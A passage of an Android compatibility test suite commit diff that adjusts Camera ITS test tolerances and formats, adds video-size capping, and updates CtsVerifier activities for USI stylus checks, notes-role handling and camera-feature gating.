Snap for 11280353 from dc0e67eac2839b2e0975586ef94f7fc990ceb146 to mainline-appsearch-release
Change-Id: I5b9fe95a2c94caacc856cb94ce1ae660d94431bb
diff --git a/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py b/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
index a56a130..a409f1c 100644
--- a/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
+++ b/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
@@ -22,7 +22,7 @@
import its_session_utils
_NUM_STEPS = 3
-_ERROR_TOLERANCE = 0.96 # Allow ISO to be rounded down by 4%
+_ERROR_TOLERANCE = 0.95 # Allow ISO to be rounded down by 5%
class ParamSensitivityBurstTest(its_base_test.ItsBaseTest):
diff --git a/apps/CameraITS/tests/scene2_a/test_preview_min_frame_rate.py b/apps/CameraITS/tests/scene2_a/test_preview_min_frame_rate.py
index 1217c6d..815f3cf 100644
--- a/apps/CameraITS/tests/scene2_a/test_preview_min_frame_rate.py
+++ b/apps/CameraITS/tests/scene2_a/test_preview_min_frame_rate.py
@@ -31,7 +31,7 @@
_NAME = os.path.splitext(os.path.basename(__file__))[0]
_PREVIEW_RECORDING_DURATION_SECONDS = 10
_MAX_VAR_FRAME_DELTA = 0.001 # variance of frame deltas, units: seconds^2
-_FPS_ATOL = 0.5
+_FPS_ATOL = 0.8
_DARKNESS_ATOL = 0.1
@@ -77,8 +77,16 @@
# determine camera capabilities for preview
preview_sizes = cam.get_supported_preview_sizes(
self.camera_id)
+ supported_video_sizes = cam.get_supported_video_sizes_capped(self.camera_id)
+ max_video_size = supported_video_sizes[-1] # choose largest available size
logging.debug('Camera supported preview sizes: %s', preview_sizes)
+ logging.debug('Camera supported video sizes: %s', supported_video_sizes)
+
preview_size = preview_sizes[-1] # choose largest available size
+ if preview_size <= max_video_size:
+ logging.debug('preview_size is supported by video encoder')
+ else:
+ preview_size = max_video_size
logging.debug('Doing 3A to ensure AE convergence')
cam.do_3a(do_af=False)
logging.debug('Testing preview recording FPS for size: %s', preview_size)
diff --git a/apps/CameraITS/tests/scene_extensions/scene_night/test_night_extension.py b/apps/CameraITS/tests/scene_extensions/scene_night/test_night_extension.py
index 376b47b..56a93c9 100644
--- a/apps/CameraITS/tests/scene_extensions/scene_night/test_night_extension.py
+++ b/apps/CameraITS/tests/scene_extensions/scene_night/test_night_extension.py
@@ -18,6 +18,7 @@
import os.path
import time
+import cv2
from mobly import test_runner
import numpy as np
@@ -37,8 +38,7 @@
_MIN_AREA = 0.001 # Circle must be >= 0.1% of image size
_WHITE = 255
-_FMT_NAME = 'yuv' # To detect noise without conversion to RGB
-_IMAGE_FORMAT_YUV_420_888_INT = 35
+_IMAGE_FORMATS_TO_CONSTANTS = (('yuv', 35), ('jpeg', 256))
_DOT_INTENSITY_DIFF_TOL = 20 # Min diff between dot/circle intensities [0:255]
_DURATION_DIFF_TOL = 0.5 # Night mode ON captures must take 0.5 seconds longer
@@ -79,7 +79,19 @@
Returns:
Tuple of y_plane, numpy image.
"""
- y, _, _ = image_processing_utils.convert_capture_to_planes(cap)
+ if cap['format'] == 'jpeg' or cap['format'] == 'jpeg_r':
+ # openCV needs [0, 255] images
+ rgb_image = (
+ image_processing_utils.decompress_jpeg_to_rgb_image(cap['data']) * 255
+ ).astype(np.uint8)
+ yuv_image = cv2.cvtColor(rgb_image, cv2.COLOR_RGB2YUV)
+ y, _, _ = cv2.split(yuv_image)
+ # Convert back to [0, 1] and cast numpy array
+ y = (y / 255.0)
+ elif cap['format'] == 'yuv':
+ y, _, _ = image_processing_utils.convert_capture_to_planes(cap)
+ else:
+ raise ValueError(f'Unsupported format: {cap["format"]}')
img = image_processing_utils.convert_capture_to_rgb_image(cap)
if file_stem:
image_processing_utils.write_image(img, f'{file_stem}.jpg')
@@ -276,28 +288,36 @@
self.tablet.adb.shell(
f'input tap {_TAP_COORDINATES[0]} {_TAP_COORDINATES[1]}')
- # Determine capture width and height
- width, height = None, None
- capture_sizes = capture_request_utils.get_available_output_sizes(
- _FMT_NAME, props)
- extension_capture_sizes_str = cam.get_supported_extension_sizes(
- self.camera_id, _EXTENSION_NIGHT, _IMAGE_FORMAT_YUV_420_888_INT
- )
- extension_capture_sizes = [
- tuple(int(size_part) for size_part in s.split(_X_STRING))
- for s in extension_capture_sizes_str
- ]
- # Extension capture sizes are ordered in ascending area order by default
- extension_capture_sizes.reverse()
- logging.debug('Capture sizes: %s', capture_sizes)
- logging.debug('Extension capture sizes: %s', extension_capture_sizes)
- width, height = extension_capture_sizes[0]
+ # Determine capture width, height, and format
+ for format_name, format_constant in _IMAGE_FORMATS_TO_CONSTANTS:
+ capture_sizes = capture_request_utils.get_available_output_sizes(
+ format_name, props)
+ extension_capture_sizes_str = cam.get_supported_extension_sizes(
+ self.camera_id, _EXTENSION_NIGHT, format_constant
+ )
+ if not extension_capture_sizes_str:
+ continue
+ extension_capture_sizes = [
+ tuple(int(size_part) for size_part in s.split(_X_STRING))
+ for s in extension_capture_sizes_str
+ ]
+ # Extension capture sizes ordered in ascending area order by default
+ extension_capture_sizes.reverse()
+ logging.debug('Capture sizes: %s', capture_sizes)
+ logging.debug('Extension capture sizes: %s', extension_capture_sizes)
+ logging.debug('Accepted capture format: %s', format_name)
+ width, height = extension_capture_sizes[0]
+ accepted_format = format_name
+ break
+ else:
+ raise AssertionError('No supported sizes/formats found!')
# Set tablet brightness to darken scene
self.set_screen_brightness(_TABLET_BRIGHTNESS)
- file_stem = f'{test_name}_{_FMT_NAME}_{width}x{height}'
- out_surfaces = {'format': _FMT_NAME, 'width': width, 'height': height}
+ file_stem = f'{test_name}_{accepted_format}_{width}x{height}'
+ out_surfaces = {
+ 'format': accepted_format, 'width': width, 'height': height}
req = capture_request_utils.auto_capture_request()
# Take auto capture with night mode on
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index af76b75..3d62ba5 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -599,6 +599,29 @@
'Failed to query landscape to portrait system property')
return data[_STR_VALUE] == 'true'
+ def get_supported_video_sizes_capped(self, camera_id):
+ """Get the supported video sizes for camera id.
+
+ Args:
+ camera_id: int; device id
+ Returns:
+ Sorted list of supported video sizes.
+ """
+
+ cmd = {
+ _CMD_NAME_STR: 'doGetSupportedVideoSizesCapped',
+ _CAMERA_ID_STR: camera_id,
+ }
+ self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+ timeout = self.SOCK_TIMEOUT + self.EXTRA_SOCK_TIMEOUT
+ self.sock.settimeout(timeout)
+ data, _ = self.__read_response_from_socket()
+ if data[_TAG_STR] != 'supportedVideoSizes':
+ raise error_util.CameraItsError('Invalid command response')
+ if not data[_STR_VALUE]:
+ raise error_util.CameraItsError('No supported video sizes')
+ return data[_STR_VALUE].split(';')
+
def do_basic_recording(self, profile_id, quality, duration,
video_stabilization_mode=0, hlg10_enabled=False,
zoom_ratio=None, ae_target_fps_min=None,
@@ -820,7 +843,8 @@
if data[_TAG_STR] != 'supportedExtensionSizes':
raise error_util.CameraItsError('Invalid command response')
if not data[_STR_VALUE]:
- raise error_util.CameraItsError('No supported extensions')
+ logging.debug('No supported extension sizes')
+ return ''
return data[_STR_VALUE].split(';')
def get_display_size(self):
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 9fb158f..7fa840c 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -4835,7 +4835,7 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_managed_provisioning" />
<meta-data android:name="test_excluded_features"
- android:value="android.software.lockscreen_disabled" />
+ android:value="android.software.lockscreen_disabled:com.google.android.feature.AMATI_EXPERIENCE" />
<meta-data android:name="test_required_features" android:value="android.software.device_admin" />
<meta-data android:name="display_mode"
android:value="single_display_mode" />
@@ -4870,7 +4870,7 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_managed_provisioning" />
<meta-data android:name="test_excluded_features"
- android:value="android.software.lockscreen_disabled" />
+ android:value="android.software.lockscreen_disabled:com.google.android.feature.AMATI_EXPERIENCE" />
<meta-data android:name="test_required_features" android:value="android.software.device_admin" />
<meta-data android:name="display_mode"
android:value="single_display_mode" />
@@ -4903,6 +4903,7 @@
<meta-data android:name="test_required_features" android:value="android.software.device_admin" />
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="test_excluded_features" android:value="com.google.android.feature.AMATI_EXPERIENCE" />
</activity>
<activity android:name=".managedprovisioning.NonMarketAppsActivity"
@@ -5460,6 +5461,8 @@
<meta-data android:name="test_category" android:value="@string/test_category_tunnel" />
<meta-data android:name="test_required_features"
android:value="android.software.leanback" />
+ <meta-data android:name="test_required_configs"
+ android:value="config_changeable_volume" />
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.automotive" />
<meta-data android:name="display_mode"
@@ -5873,6 +5876,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.touchscreen" />
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.watch:android.hardware.type.television:android.hardware.type.automotive" />
<meta-data android:name="display_mode" android:value="multi_display_mode" />
diff --git a/apps/CtsVerifier/res/layout/capture_content_for_notes.xml b/apps/CtsVerifier/res/layout/capture_content_for_notes.xml
index 623d60a..c165cff 100644
--- a/apps/CtsVerifier/res/layout/capture_content_for_notes.xml
+++ b/apps/CtsVerifier/res/layout/capture_content_for_notes.xml
@@ -33,26 +33,28 @@
<TextView
android:id="@+id/test_instructions"
android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:text="@string/ccfn_tests_info" />
+ android:layout_height="wrap_content" />
<Button
android:id="@+id/set_default_notes"
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:text="@string/set_default_notes_button_label" />
+ android:text="@string/set_default_notes_button_label"
+ android:visibility="gone" />
<Button
android:id="@+id/setup_device_owner"
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:text="@string/setup_device_owner_button_label" />
+ android:text="@string/setup_device_owner_button_label"
+ android:visibility="gone" />
<Button
android:id="@+id/clear_device_owner"
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:text="@string/clear_device_owner_button_label" />
+ android:text="@string/clear_device_owner_button_label"
+ android:visibility="gone" />
<ListView
android:id="@+id/android:list"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index d2000b7..09fdcc3 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1235,7 +1235,7 @@
<string name="nfc_scan_tag">Place device on a writable %s tag...</string>
<string name="nfc_write_tag_title">Writable tag discovered!</string>
- <string name="nfc_write_tag_message">Press OK to write to this tag...</string>
+ <string name="nfc_write_tag_message">Press OK to write to this tag(or auto write to this tag after 3s)...</string>
<string name="nfc_scan_tag_again">Tap the same %s tag again to confirm that its contents match...</string>
<string name="nfc_wrong_tag_title">Wrong type of tag scanned</string>
<string name="nfc_no_tech">No tag technologies detected...</string>
@@ -7066,11 +7066,15 @@
keyboards, or styluses that are connected through USB or Bluetooth.\n\n
Found %1$d built-in display(s). Are you ready to proceed?
</string>
+ <string name="usi_test_verify_display_usi_support">Does the display \"%1$s\" support styluses
+ that use the USI protocol? \n\n
+ For more information about the Universal Stylus Initiative (USI) protocol, see:
+ http://universalstylus.org
+ </string>
<string name="usi_test_verify_display_usi_version">The display \"%1$s\" reports its USI version
as %2$s.\n\n
Is this correct?
</string>
- <string name="usi_version_not_supported">not supported</string>
<string name="usi_test_passed">Test Passed\n\n
Press Pass.
</string>
@@ -7078,7 +7082,12 @@
Reason: %1$s
</string>
<string name="usi_fail_reason_not_ready">Not ready to check for USI stylus versions.</string>
- <string name="usi_fail_reason_incorrect_version">The USI version was incorrectly reported.
+ <string name="usi_fail_reason_version_not_found">The USI version for the display was not found.
+ </string>
+ <string name="usi_fail_reason_found_unexpected_version">The display reports support for a valid
+ USI version, even though it does not support USI.
+ </string>
+ <string name="usi_fail_reason_incorrect_version">The reported USI version is incorrect.
</string>
<!-- Strings for PreferredMixerAttributesTestActivity -->
@@ -7105,9 +7114,6 @@
This test verifies the support for Content Capture For Notes APIs on devices that have the
ROLE_NOTES enabled.
- \n\nIf the ROLE_NOTES is not enabled, no test should be shown in the list below, and you
- should mark the CTS test as passed.
-
\n\nFor this test you need to install CtsDefaultNotesApp.apk and set it as the Default notes
app.
@@ -7115,6 +7121,12 @@
\n\nPlease clear the device owner after all the test cases are run, if it was set up.
</string>
+ <string name="ccfn_tests_info_skip">
+ This test verifies the support for Content Capture For Notes APIs on devices that have the
+ ROLE_NOTES enabled.
+
+ \n\nPlease mark this test as passed since ROLE_NOTES is not enabled on this device.
+ </string>
<!-- Dialogs -->
<string name="set_default_notes_button_label">Set default notes app</string>
<string name="set_default_notes_button_info">
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index c37788d..a6d536a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -157,6 +157,8 @@
private static final String CONFIG_HAS_CAMERA_TOGGLE = "config_has_camera_toggle";
+ private static final String CONFIG_CHANGEABLE_VOLUME = "config_changeable_volume";
+
/**
* The config to represent that a test is only needed to run in the main display mode (i.e.
* unfolded).
@@ -535,6 +537,8 @@
case CONFIG_HAS_CAMERA_TOGGLE:
return isHardwareToggleSupported(
context, SensorPrivacyManager.Sensors.CAMERA);
+ case CONFIG_CHANGEABLE_VOLUME:
+ return !getSystemResourceFlag(context, "config_useFixedVolume");
default:
break;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index c5aeffb..1528386 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -166,6 +166,7 @@
// State transition timeouts, in ms.
private static final long TIMEOUT_IDLE_MS = 2000;
+ private static final long TIMEOUT_IDLE_MS_EXTENSIONS = 20000;
private static final long TIMEOUT_STATE_MS = 500;
private static final long TIMEOUT_SESSION_CLOSE = 3000;
@@ -941,6 +942,9 @@
} else if ("getSupportedVideoQualities".equals(cmdObj.getString("cmdName"))) {
String cameraId = cmdObj.getString("cameraId");
doGetSupportedVideoQualities(cameraId);
+ } else if ("doGetSupportedVideoSizesCapped".equals(cmdObj.getString("cmdName"))) {
+ String cameraId = cmdObj.getString("cameraId");
+ doGetSupportedVideoSizesCapped(cameraId);
} else if ("getSupportedPreviewSizes".equals(cmdObj.getString("cmdName"))) {
String cameraId = cmdObj.getString("cameraId");
doGetSupportedPreviewSizes(cameraId);
@@ -2243,6 +2247,33 @@
mSocketRunnableObj.sendResponse("supportedVideoQualities", profiles.toString());
}
+ private void doGetSupportedVideoSizesCapped(String id) throws ItsException {
+ int cameraId = Integer.parseInt(id);
+ StringBuilder profiles = new StringBuilder();
+ // s1440p which is the max supported stream size in a combination, when preview
+ // stabilization is on.
+ Size maxPreviewSize = new Size(1920, 1440);
+ ArrayList<Size> outputSizes = new ArrayList<Size>();
+ for (Map.Entry<Integer, String> entry : CAMCORDER_PROFILE_QUALITIES_MAP.entrySet()) {
+ if (CamcorderProfile.hasProfile(cameraId, entry.getKey())) {
+ CamcorderProfile camcorderProfile = getCamcorderProfile(cameraId, entry.getKey());
+ assert(camcorderProfile != null);
+ Size videoSize = new Size(camcorderProfile.videoFrameWidth,
+ camcorderProfile.videoFrameHeight);
+ outputSizes.add(videoSize);
+ }
+ }
+ Log.i(TAG, "Supported video sizes: " + outputSizes.toString());
+ String response = outputSizes.stream()
+ .distinct()
+ .filter(s -> s.getWidth() * s.getHeight()
+ <= maxPreviewSize.getWidth() * maxPreviewSize.getHeight())
+ .sorted(Comparator.comparingInt(s -> s.getWidth() * s.getHeight()))
+ .map(Size::toString)
+ .collect(Collectors.joining(";"));
+ mSocketRunnableObj.sendResponse("supportedVideoSizes", response);
+ }
+
private void appendSupportProfile(StringBuilder profiles, String name, int profile,
int cameraId) {
if (CamcorderProfile.hasProfile(cameraId, profile)) {
@@ -2960,7 +2991,7 @@
sessionListener,
has10bitOutput);
- mExtensionSession = sessionListener.waitAndGetSession(TIMEOUT_IDLE_MS);
+ mExtensionSession = sessionListener.waitAndGetSession(TIMEOUT_IDLE_MS_EXTENSIONS);
CaptureRequest.Builder captureBuilder = requests.get(0);
@@ -2970,19 +3001,22 @@
}
// Set repeating request and wait for AE convergence, using another ImageReader.
Logt.i(TAG, "Waiting for AE to converge before taking extensions capture.");
- captureBuilder.addTarget(mExtensionPreviewImageReader.getSurface());
+ CaptureRequest.Builder previewRequestBuilder = mCamera.createCaptureRequest(
+ CameraDevice.TEMPLATE_PREVIEW);
+ previewRequestBuilder.set(CaptureRequest.CONTROL_CAPTURE_INTENT,
+ CaptureRequest.CONTROL_CAPTURE_INTENT_PREVIEW);
+ previewRequestBuilder.addTarget(mExtensionPreviewImageReader.getSurface());
ImageReader.OnImageAvailableListener dropperListener =
createAvailableListenerDropper();
mExtensionPreviewImageReader.setOnImageAvailableListener(dropperListener,
mSaveHandlers[0]);
- mExtensionSession.setRepeatingRequest(captureBuilder.build(),
+ mExtensionSession.setRepeatingRequest(previewRequestBuilder.build(),
new HandlerExecutor(mResultHandler),
mExtAEResultListener);
mCountCallbacksRemaining.set(1);
long timeout = TIMEOUT_CALLBACK * 1000;
waitForCallbacks(timeout);
mExtensionSession.stopRepeating();
- captureBuilder.removeTarget(mExtensionPreviewImageReader.getSurface());
mResultThread.sleep(PIPELINE_WARMUP_TIME_MS);
}
@@ -3874,8 +3908,9 @@
if (request == null || result == null) {
throw new ItsException("Request/result is invalid");
}
- if (result.get(CaptureResult.CONTROL_AE_STATE) ==
- CaptureResult.CONTROL_AE_STATE_CONVERGED) {
+ int aeState = result.get(CaptureResult.CONTROL_AE_STATE);
+ if (aeState == CaptureResult.CONTROL_AE_STATE_CONVERGED
+ || aeState == CaptureResult.CONTROL_AE_STATE_FLASH_REQUIRED) {
synchronized(mCountCallbacksRemaining) {
mCountCallbacksRemaining.decrementAndGet();
mCountCallbacksRemaining.notify();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/capturecontentfornotes/CaptureContentForNotesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/capturecontentfornotes/CaptureContentForNotesVerifierActivity.java
index f05c636..84d3097 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/capturecontentfornotes/CaptureContentForNotesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/capturecontentfornotes/CaptureContentForNotesVerifierActivity.java
@@ -31,6 +31,7 @@
import android.util.Log;
import android.view.View;
import android.widget.Button;
+import android.widget.TextView;
import androidx.annotation.Nullable;
@@ -123,7 +124,6 @@
public void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.capture_content_for_notes);
- setInfoResources(R.string.ccfn_tests, R.string.ccfn_tests_info, 0);
setPassFailButtonClickListeners();
ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
@@ -135,23 +135,37 @@
}
});
+ TextView testInstructionsView = findViewById(R.id.test_instructions);
+
if (isNotesRoleAvailable()) {
// If the notes role is available, disable the pass button and setup tests.
getPassButton().setEnabled(false);
addTestsToAdapter(adapter);
+
+ // Set up test info resources to ask user to go through the test cases.
+ setInfoResources(R.string.ccfn_tests, R.string.ccfn_tests_info, 0);
+ testInstructionsView.setText(R.string.ccfn_tests_info);
+
+ // Add these buttons only if the Notes role is available to avoid confusion.
+ Button setDefaultNotesButton = findViewById(R.id.set_default_notes);
+ setDefaultNotesButton.setOnClickListener(this);
+ setDefaultNotesButton.setVisibility(View.VISIBLE);
+
+ Button setupDeviceOwner = findViewById(R.id.setup_device_owner);
+ setupDeviceOwner.setOnClickListener(this);
+ setupDeviceOwner.setVisibility(View.VISIBLE);
+
+ Button clearDeviceOwner = findViewById(R.id.clear_device_owner);
+ clearDeviceOwner.setOnClickListener(this);
+ clearDeviceOwner.setVisibility(View.VISIBLE);
} else {
// Notes role is unavailable, let the verifier skip this test altogether.
getPassButton().setEnabled(true);
+
+ // Set up test info resources to ask user to skip the test.
+ setInfoResources(R.string.ccfn_tests, R.string.ccfn_tests_info_skip, 0);
+ testInstructionsView.setText(R.string.ccfn_tests_info_skip);
}
-
- Button setDefaultNotesButton = findViewById(R.id.set_default_notes);
- setDefaultNotesButton.setOnClickListener(this);
-
- Button setupDeviceOwner = findViewById(R.id.setup_device_owner);
- setupDeviceOwner.setOnClickListener(this);
-
- Button clearDeviceOwner = findViewById(R.id.clear_device_owner);
- clearDeviceOwner.setOnClickListener(this);
}
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index 53f23a8..7ba284e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -223,4 +223,12 @@
public static boolean isKeyguardShownWhenUserDoesntHaveCredentials(Context context) {
return !isAutomotive(context) && !isWatch(context);
}
+
+ /**
+ * Checks whether the device supports camera.
+ */
+ public static boolean supportCameraFeature(Context context) {
+ PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY);
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/input/UsiVersionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/input/UsiVersionActivity.java
index e9b15e8..9662aec 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/input/UsiVersionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/input/UsiVersionActivity.java
@@ -20,6 +20,7 @@
import android.hardware.input.HostUsiVersion;
import android.hardware.input.InputManager;
import android.os.Bundle;
+import android.util.ArrayMap;
import android.view.Display;
import android.widget.Button;
import android.widget.TextView;
@@ -28,8 +29,6 @@
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
-import java.util.ArrayList;
-import java.util.List;
import java.util.Objects;
/**
@@ -45,7 +44,7 @@
Button mNoButton;
TestStage mCurrentStage;
- final List<Display> mInternalDisplays = new ArrayList<>();
+ final ArrayMap<Display, HostUsiVersion> mInternalDisplays = new ArrayMap<>();
/** Used for {@link TestStage#VERIFY_USI_VERSIONS}. */
int mCurrentDisplayIndex;
@@ -55,8 +54,10 @@
private enum TestStage {
// Ask whether the tester is ready to start.
START_INSTRUCTIONS,
- // Ask if the USI version reported for each of the built-in displays is correct.
- VERIFY_USI_VERSIONS,
+ // Ask if the current display supports USI.
+ VERIFY_USI_SUPPORT,
+ // If the current display does support USI, ask if the reported USI version is correct.
+ VERIFY_USI_VERSION,
// Test passed.
PASSED,
// Test failed.
@@ -85,16 +86,39 @@
switch (mCurrentStage) {
case START_INSTRUCTIONS:
mCurrentStage = fromYesButton
- ? TestStage.VERIFY_USI_VERSIONS
+ ? TestStage.VERIFY_USI_SUPPORT
: getFailState(R.string.usi_fail_reason_not_ready);
break;
- case VERIFY_USI_VERSIONS:
+ case VERIFY_USI_SUPPORT:
+ final var usiVersion = mInternalDisplays.valueAt(mCurrentDisplayIndex);
+ if (fromYesButton) {
+ // The user said that the display supports USI.
+ if (usiVersion != null) {
+ mCurrentStage = TestStage.VERIFY_USI_VERSION;
+ } else {
+ mCurrentStage = getFailState(R.string.usi_fail_reason_version_not_found);
+ }
+ } else {
+ // The user said that the display DOES NOT support USI.
+ if (usiVersion == null) {
+ mCurrentDisplayIndex++;
+ mCurrentStage = mCurrentDisplayIndex >= mInternalDisplays.size()
+ ? TestStage.PASSED
+ : TestStage.VERIFY_USI_SUPPORT;
+ } else {
+ mCurrentStage = getFailState(
+ R.string.usi_fail_reason_found_unexpected_version);
+ }
+ }
+ break;
+
+ case VERIFY_USI_VERSION:
if (fromYesButton) {
mCurrentDisplayIndex++;
mCurrentStage = mCurrentDisplayIndex >= mInternalDisplays.size()
? TestStage.PASSED
- : TestStage.VERIFY_USI_VERSIONS;
+ : TestStage.VERIFY_USI_SUPPORT;
} else {
mCurrentStage = getFailState(R.string.usi_fail_reason_incorrect_version);
}
@@ -115,7 +139,7 @@
private void processTestStage() {
switch (mCurrentStage) {
- case START_INSTRUCTIONS:
+ case START_INSTRUCTIONS: {
mFailReason = null;
mCurrentDisplayIndex = 0;
populateInternalDisplays();
@@ -125,44 +149,55 @@
mYesButton.setEnabled(true);
mNoButton.setEnabled(true);
break;
+ }
- case VERIFY_USI_VERSIONS:
- final Display display = mInternalDisplays.get(mCurrentDisplayIndex);
- final HostUsiVersion usiVersion =
- Objects.requireNonNull(getSystemService(InputManager.class))
- .getHostUsiVersion(display);
- final String version = usiVersion != null
- ? usiVersion.getMajorVersion() + "." + usiVersion.getMinorVersion()
- : getString(R.string.usi_version_not_supported);
+ case VERIFY_USI_SUPPORT: {
+ final Display display = mInternalDisplays.keyAt(mCurrentDisplayIndex);
+ mInstructionsTextView.setText(
+ getString(R.string.usi_test_verify_display_usi_support, display.getName()));
+ break;
+ }
+
+ case VERIFY_USI_VERSION: {
+ final Display display = mInternalDisplays.keyAt(mCurrentDisplayIndex);
+ final HostUsiVersion usiVersion = mInternalDisplays.valueAt(mCurrentDisplayIndex);
+ assert (usiVersion != null);
+
+ final String version =
+ usiVersion.getMajorVersion() + "." + usiVersion.getMinorVersion();
mInstructionsTextView.setText(
getString(R.string.usi_test_verify_display_usi_version, display.getName(),
version));
break;
+ }
- case PASSED:
+ case PASSED: {
if (mFailReason != null) throw new IllegalStateException("Fail reason is non null");
mInstructionsTextView.setText(getString(R.string.usi_test_passed));
getPassButton().setEnabled(true);
mYesButton.setEnabled(false);
mNoButton.setEnabled(false);
break;
+ }
- case FAILED:
+ case FAILED: {
Objects.requireNonNull(mFailReason);
mInstructionsTextView.setText(getString(R.string.usi_test_failed, mFailReason));
getPassButton().setEnabled(false);
mYesButton.setEnabled(false);
mNoButton.setEnabled(false);
break;
+ }
}
}
private void populateInternalDisplays() {
final Display[] displays = Objects.requireNonNull(getSystemService(DisplayManager.class))
.getDisplays();
+ final var inputManager = Objects.requireNonNull(getSystemService(InputManager.class));
for (Display display : displays) {
if (display.getType() == Display.TYPE_INTERNAL) {
- mInternalDisplays.add(display);
+ mInternalDisplays.put(display, inputManager.getHostUsiVersion(display));
}
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index 66e3d91..902a6b0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -170,10 +170,12 @@
R.string.enterprise_privacy_admin_granted_microphone_access,
R.string.enterprise_privacy_admin_granted_microphone_access_info,
Manifest.permission.RECORD_AUDIO));
- adapter.add(buildAdminGrantedPermissionTest(ENTERPRISE_PRIVACY_CAMERA_ACCESS,
- R.string.enterprise_privacy_admin_granted_camera_access,
- R.string.enterprise_privacy_admin_granted_camera_access_info,
- Manifest.permission.CAMERA));
+ if (FeatureUtil.supportCameraFeature(this)) {
+ adapter.add(buildAdminGrantedPermissionTest(ENTERPRISE_PRIVACY_CAMERA_ACCESS,
+ R.string.enterprise_privacy_admin_granted_camera_access,
+ R.string.enterprise_privacy_admin_granted_camera_access_info,
+ Manifest.permission.CAMERA));
+ }
adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_DEFAULT_APPS,
R.string.enterprise_privacy_default_apps,
R.string.enterprise_privacy_default_apps_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
index 4d03ec4..d4ba7c5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
@@ -187,9 +187,7 @@
}
if (pm.hasSystemFeature(PackageManager.FEATURE_NFC)) {
- forwardedIntentsFromManaged.addAll(Arrays.asList(
- new Intent(Settings.ACTION_NFC_SETTINGS),
- new Intent(Settings.ACTION_NFCSHARING_SETTINGS)));
+ forwardedIntentsFromManaged.add(new Intent(Settings.ACTION_NFC_SETTINGS));
}
if (pm.hasSystemFeature(PackageManager.FEATURE_NFC_HOST_CARD_EMULATION)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestActivity.java
index ae4b014..da4c5b3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestActivity.java
